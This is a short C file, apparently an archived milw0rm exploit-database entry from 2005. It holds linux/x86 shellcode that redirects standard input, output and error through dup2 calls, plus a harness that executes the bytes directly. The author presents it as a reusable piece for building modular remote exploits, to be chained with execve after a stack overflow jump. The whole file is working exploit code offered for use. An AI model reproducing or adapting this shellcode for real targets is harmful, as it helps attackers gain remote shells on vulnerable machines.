/* dup2_loop-core.c by Charles Stevenson * * I made this as a chunk you can paste in to make modular remote * exploits. I usually combine this with an execve as the second * stage of a read() jmp *%esp */ char hellcode[] = /* dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core */ "\x31\xc9" // xor %ecx,%ecx "\x56" // push %esi "\x5b" // pop %ebx // loop: "\x6a\x3f" // push $0x3f "\x58" // pop %eax "\xcd\x80" // int $0x80 "\x41" // inc %ecx "\x80\xf9\x03" // cmp $0x3,%cl "\x75\xf5" // jne 80483e8 ; int main(void) { void (*shell)() = (void *)&hellcode; printf("%d byte dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core\n", strlen(hellcode)); shell(); return 0; } // milw0rm.com [2005-11-09]
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